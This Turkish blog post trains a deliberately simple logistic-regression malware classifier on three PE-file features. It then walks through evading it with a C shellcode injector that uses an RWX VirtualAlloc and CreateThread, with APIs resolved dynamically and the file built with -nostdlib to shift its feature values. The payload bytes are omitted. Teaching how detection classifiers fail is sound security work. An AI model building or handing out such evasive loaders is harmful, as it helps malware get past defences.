Takdim

2025 yılındayız (ben bu yazıyı yazdıktan birkaç saat sonra 2026 yılına girmiş olacağız bile) ve artık makine öğrenmesi (ML) sınıflandırıcıları ciddi her güvenlik ürününün ayrılmaz bir parçası haline geldi. Ancak bu teknolojilerin her yerde olmasına rağmen ML algoritmalarının nasıl çalıştığına veya özellikle de ofansif güvenlik amaçları doğrultusunda bu sistemlerin nasıl atlatılabileceğine dair açık kaynaklı araştırmalar hala hayli kısıtlı. Geçtiğimiz günlerde kıymetli arkadaşlarımla bu konuda bir konuşma yaptık ve fark ettim ki bu alanda giriş seviyesinde içerik bulmak deveye hendek atlatmaktan zor. Bu eksikliği gidermek ve camiaya bir nebze fayda sağlamak adına bu yazıyı kaleme aldım.

Bu makalenin amacı bir hayli ilkel ve düşük boyutlu olan bir ML sınıflandırıcısı örneği üzerinden giderek durumu aydınlatmaktır. Bilerek "kötü" seçilmiş verilerle bir sınıflandırıcı inşa edecek, sonra da onu ustalıkla atlatacak kompakt bir shellcode yükleyicisi geliştireceğiz. Gayemiz kesinlikle atlatma tekniklerini yüceltmek değil :) hem savunmacıların hem de ofansif taraftakilerin bu sistemlerin davranış mantığını ve bunlara karşı yapılan saldırıları daha iyi kavrayabilmesi için bir sezgi geliştirmektir.

Bir Sınıflandırıcı İnşa Etmek

Sınıflandırıcımızı besmelemizi çekerek kurmadan evvel elimize biraz veri geçmesi lazım. Veri toplama kısmında çok vakit kaybetmeyeceğiz çünkü BlackFes olarak birkaç gün önce erişime açtığımız Arşiv sayfasından rastgele malware numunelerini ve standart Windows dosyalarını (benign) yerel bir dizine indirdim. Dosyaları topladıktan sonra bu verileri birbirinden ayıracak hangi feature'ların işe yarayacağını düşündüm ve şu üçünde karar kıldım:

Feature extractor mekanizmamız kasten basit tutuldu. Önce dosyaları MZ header'ına göre filtreleyip sadece gerçek PE dosyalarını işleme alıyor ardından her dosyadan şu üç skaler özelliği çekiyor => boyut ağırlıklı bölüm entropisi, strings yoğunluğu ve dosya boyutunun 10 tabanında logaritması. Entropi, her bölümün ham baytları üzerinden hesaplanıyor ve bölüm boyutuyla ağırlıklandırılıyor bu da büyük, paketlenmiş veya sıkıştırılmış bölgelere karşı hassas bir ölçüm sağlıyor.

Python
weighted_entropy = 0.0
    try:
        pe = pefile.PE(binary_path, fast_load=True)
        section_entropies = []
        section_sizes = []
        for section in pe.sections:
            data = section.get_data()
            entropy = shannon_entropy(data)
            section_entropies.append(entropy)
            section_sizes.append(len(data))
        if section_sizes:
            weighted_entropy = np.average(section_entropies, weights=section_sizes)
    except Exception:
        weighted_entropy = 0.0

Strings yoğunluğu bir dosyanın boyutuna oranla ne kadar insan tarafından okunabilir materyal (ASCII karakterler) içerdiğini ölçer. Bu, sembolleri temizlenmiş (stripped) veya paketlenmiş zaralı yazılımları saptamada hayli işe yarar.

Python
    min_len = 4
    count_strings = 0
    current = bytearray()
    printable = set(bytes(string.printable, "ascii"))
    
    with open(binary_path, "rb") as f:
        raw_bytes = f.read()
        
    for b in raw_bytes:
        if b in printable and b not in b"\r\n\t":
            current.append(b)
        else:
            if len(current) >= min_len:
                count_strings += 1
            current = bytearray()
            
    if len(current) >= min_len:
        count_strings += 1
        
    strings_density = count_strings / file_size_kb

    return np.array([weighted_entropy, strings_density, log_size], dtype=np.float32)

Dosya boyutunun logaritması ise devasa yükleme dosyalarının (installers) sayısal verileri domine etmemesi için kullanılan kompakt bir ölçektir.

Python
file_size = os.path.getsize(binary_path)
file_size_kb = max(file_size / 1024.0, 1e-6)
log_size = math.log10(file_size + 1)

Betik, mümkün olan yerlerde pefile kütüphanesini kullanır, parse hatalarında güvenli varsayılan değerlere sorunsuz bir şekilde geri döner ve f1_entropy, f2_strings_density, f3_log_size, label satırlarını pe_features.csv dosyasına yazar (etiketler her dizin için manuel olarak atanıyor). Bu süreç bize üzerinde sezgi geliştirebileceğimiz küçük ve yorumlanabilir bir veri kümesi sağlayacak.

Çıkarılan feature datasetinden bir kesit
f1_entropy f2_strings_density f3_log_size label
6.0099654 2.7407408 5.043728 1
6.0099654 12.987317 4.891543 1
... ... ... ...
3.9541223 11.539474 4.891119 0
5.556493 14.348983 5.582483 0

Bu blog yazısında, Öklid uzayında görselleştirmeyi kolaylaştırmak adına sadece üç özellik seçtim. Bu sayede verilerimizi x-y-z ekseninde rahatça grafik haline getirebiliyoruz.

Entropi vs Strings Density vs Log Size
Grafik: Entropi vs String Yoğunluğu vs Log Boyutu

Grafiğin profilinden tam anlaşılamasa da elimizdeki verilerde iyi huylu yani benign ve zararlı/malware örnekler arasında belirgin bir ayrım mevcut.

Modeli eğitmeden evvel hangi algoritmayı kullanacağımızı seçmemiz lazım. Ben burada LogisticRegression yöntemini tercih ettim. Bu algoritma, feature'lerin ölçeğine (scale) karşı hayli hassas. Yani bir eksendeki devasa değerler sınıflandırma sonucunu tek başına domine edebilir. Bunu engellemek ve her özelliğe eşit söz hakkı tanımak için bir StandardScaler kullanarak verileri standardize etmemiz elzemdir.

Python
df = pd.read_csv("pe_features.csv")

X = df.drop(columns=["label"]).values
y = df["label"].values

scaler = StandardScaler()
X = scaler.fit_transform(X)

Veriler normalize edildikten sonra, onları train ve test setlerine ayırıyoruz. Modeli initialize edip istenen performansa ulaşana kadar "epoch" adı verilen eğitim turları üzerinden döngüye sokuyoruz.

Python
X_train, X_test, y_train, y_test = train_test_split(
    X, y, test_size=0.20, random_state=42
)

train_dataset = PEDataset(X_train, y_train)
test_dataset = PEDataset(X_test, y_test)

train_loader = DataLoader(train_dataset, batch_size=20, shuffle=True)

input_dim = X_train.shape[1]
model = LogisticRegression(input_dim)

criterion = nn.BCEWithLogitsLoss()
optimizer = optim.SGD(model.parameters(), lr=0.01)

Lojistik regresyon modelimizi eğittikten sonra hem modeli hem de eğitim sırasında kullandığımız ölçekleyiciyi (scaler) kaydetmemiz gerekir. Bu ikisine de erişimimizin olması oldukça önemlidir.

Python
torch.save(model.state_dict(), "logistic_pe_model.pth")
print("\nModel saved to logistic_pe_model.pth")

import joblib
joblib.dump(scaler, "scaler.pkl")
print("Scaler saved to scaler.pkl")

Aynen eğitim aşamasında olduğu gibi, ölçekleyici (scaler) yeni verilerin de modelimiz için doğru ölçeğe dönüştürülmesini sağlar.

Sınıflandırıcıyı Tanımak

Artık elimizde kaydedilmiş bir model ve bir ölçekleyici (scaler) var. Şimdi yapacağımız iş, lojistik regresyonu feature uzayımıza yansıtmak. Bir sınıflandırma probleminde iyi ve kötüyü ayıran bu sınıra Karar Sınırı (Decision Boundary) denir.

Karar Sınırı ile beraber Ölçeklenmiş Entropi vs Strings Yoğunluğu vs Log Boyutu
Grafik: Karar Sınırı ile beraber Ölçeklenmiş Entropi vs Strings Yoğunluğu vs Log Boyutu

Bu karar sınırı (düzlem), feature uzayımızda iyi ve kötü noktaları birbirinden ayıran görünmez bir duvardır. Aslında eğitim verilerimize lojistik regresyon algoritmasını uyguladığımızda elde ettiğimiz şeyin ta kendisidir.

Modelin performansını ölçmek için hızlıca basit bir injector inşa edelim.

C
#include <windows.h>
#include <stdio.h>

UCHAR payload[] = {
[...snip...]
};

INT main(){
    
    PVOID  pPayload      = NULL;
    HANDLE hThread       = NULL;
    SIZE_T szPayloadSize = sizeof(payload);
    
    pPayload = VirtualAlloc(NULL, szPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlCopyMemory(pPayload, payload, szPayloadSize);
    
    hThread  = CreateThread(NULL, 0x0, (LPTHREAD_START_ROUTINE) pPayload, NULL, 0x0, NULL);
    
    WaitForSingleObject(hThread, INFINITE);
    
    return 0;
}

Ardından injector.exe dosyamızı feature extractor ve ölçekleyiciye (scaler) aktarabilir ve son olarak feature vektörünü sınıflandırma yapması için modele iletebiliriz.

Python
def classify(binary_path):
    scaler = joblib.load("scaler.pkl")

    raw_features = extract_features(binary_path).reshape(1, -1)
    features = scaler.transform(raw_features)

    input_dim = features.shape[1]
    model = LogisticRegression(input_dim)
    model.load_state_dict(torch.load("logistic_pe_model.pth", map_location="cpu"))
    model.eval()

    X = torch.tensor(features.astype("float32"))

    with torch.no_grad():
        logits = model(X)
        prob = torch.sigmoid(logits).item()

    label = 1 if prob >= 0.5 else 0
    verdict = "MALWARE" if label == 1 else "BENIGN"

    print(f"File: {binary_path}")
    print(f"Probability of malware: {prob:.4f}")
    print(f"Classification: {verdict}")

Modelimizin injector'ü doğru bir şekilde kötü amaçlı (malicious) olarak sınıflandırdığını görüyoruz.

Ekran görüntüsü

Modelimiz çok mükemmel olmasa da meramımızı anlatacak kadar iş görüyor. Şimdi bu inject'i üç boyutlu feature uzayımızda bir noktaya oturtalım.

KInjector.exe'nin feature uzayındaki konumu
Grafik: Injector.exe'nin feature uzayındaki konumu

Bu perspektiften baktığımızda injector dosyamızın karar sınırının "zararlı" tarafında kaldığını müşahede ediyoruz. Ancak talihimiz yaver gidiyor, dosyamız sınıra hayli yakın. Yani üzerinde ufak tefek oynamalar yaparsak onu sınırın öbür tarafına itebiliriz.

Sınıflandırıcıyı Atlatmak (Evasion)

Grafiğe baktığımızda sezgisel olarak şunu anlıyoruz => Dosyamızı "iyi huylu" göstermek için ya yukarı doğru (boyutu artırarak) ya da sola doğru (string yoğunluğunu artırarak) hareket etmeliyiz. Bu özellikler aslında bir dereceye kadar birbirini dengeleyici yani otokontrol sağlayan bir vaziyettedir. Eğer string sayısını artırmadan dosyayı şişirirseniz sınıflandırma sonucunuzu daha da kötü etkileyebilirsiniz. Bununla birlikte ölçeklendirme öncesinde dikey log(boyut) ekseni logaritmik bir ölçekteyken string yoğunluğu değildir. Bu durum karar sınırını geçip "iyi huylu" (benign) alana girmek için dosya boyutunu güvenli bir şekilde küçültebileceğimiz ve string sayısını artırarak sola doğru hareket edebileceğimiz anlamına gelir.

Tam burada kurnazca bir hamle yapalım.. WinAPI çağrılarımızı dinamik olarak (GetProcAddress) çözelim ve standart kütüphane şişkinliğinden kurtulmak için doğrudan CRT'ye bağlayalım (-nostdlib).

C
#include <windows.h>
#include <stdio.h>

__attribute__((section(".text"))) UCHAR payload[] = {
[...snip...]
};

typedef LPVOID (WINAPI * VirtualAlloc_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE (WINAPI * CreateThread_t)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
typedef DWORD (WINAPI * WaitForSingleObject_t)(HANDLE hHandle, DWORD dwMilliseconds);

INT main(){
    
    PVOID  pPayload      = NULL;
    HANDLE hThread       = NULL;
    SIZE_T szPayloadSize = sizeof(payload);
    
    HMODULE hKernel32    = NULL;
    
    VirtualAlloc_t        pVirtualAlloc         = NULL;
    CreateThread_t        pCreateThread         = NULL;
    WaitForSingleObject_t pWaitForSingleObject  = NULL;
    
    hKernel32            = GetModuleHandleA("kernel32.dll");
    pVirtualAlloc        = (VirtualAlloc_t) GetProcAddress(hKernel32, "VirtualAlloc");
    pCreateThread        = (CreateThread_t) GetProcAddress(hKernel32, "CreateThread");
    pWaitForSingleObject = (WaitForSingleObject_t) GetProcAddress(hKernel32, "WaitForSingleObject");
    
    pPayload = pVirtualAlloc(NULL, szPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlCopyMemory(pPayload, payload, szPayloadSize);
    
    hThread  = pCreateThread(NULL, 0x0, (LPTHREAD_START_ROUTINE) pPayload, NULL, 0x0, NULL);
    
    pWaitForSingleObject(hThread, INFINITE);

    return 0;
}

Bu ufak değişiklikler injector'ümüzü karar sınırının öteki yakasına geçirmeye yeterlidir.

Ekran görüntüsü

Şimdi bu yeni noktayı uzayımızda işaretleyip eskisiyle kıyaslayalım.

Injector.exe ve Injector_1.exe'nin karşılaştırmalı konumu
Grafik: Injector.exe ve Injector_1.exe'nin karşılaştırmalı konumu

Gördüğünüz gibi, kaynak kodda yapılan minik oynamalarla işlevsel olarak aynı olan bir shellcode loader'ı "iyi huylu" göstermeyi başardık. Neden? Çünkü API'lerin dinamik olarak çözülmesi dosyamıza daha fazla string ekledi ve -nostdlib ise gereksiz bileşenleri atarak boyutu küçülttü. Bu iki hamle birleşince string yoğunluğu arttı ve bizi karar sınırının "iyi huylu" tarafına taşıdı.

İçgörüler

Bu sınıflandırıcıların nasıl manipüle edilebileceğine dair en temel ve ilkel örnekti. Modern ML sınıflandırıcıları binlerce feature üzerinde çalışır. Bu kadar çok boyutlu bir yapıda bizim bu üç boyutlu uzaydaki "sola kay, yukarı çık" mantığı her zaman bu kadar net işlemez.

Ayrıca gerçek dünyadaki savunma sistemleri sadece dosya özelliklerine bakmaz. Dinamik davranışlara, telemetri verilerine, itibar (reputation) sistemlerine ve memory analizine de odaklanır. Bu blog yazısında bunları kapsam dışı bıraktık ama kulağınıza küpe olsun.

Sonuç? Bu yazı kasten basitleştirilmiş veri setleri üzerinden ML sınıflandırıcılarının geometrisini ve bir saldırganın bu düzlemleri nasıl manipüle edebileceğini anlamak için kaleme alınmıştır. Buradaki örnekler modern, karmaşık savunma sistemlerini tam olarak temsil etmez. Ancak şeffaf bir sınıflandırıcı üzerinden yaptığımız bu "itme" hamlesi, bize özelliklerin kırılganlığı ve savunmacıların hangi dengeleri gözetmesi gerektiği konusunda kıymetli bir sezgi kazandırır.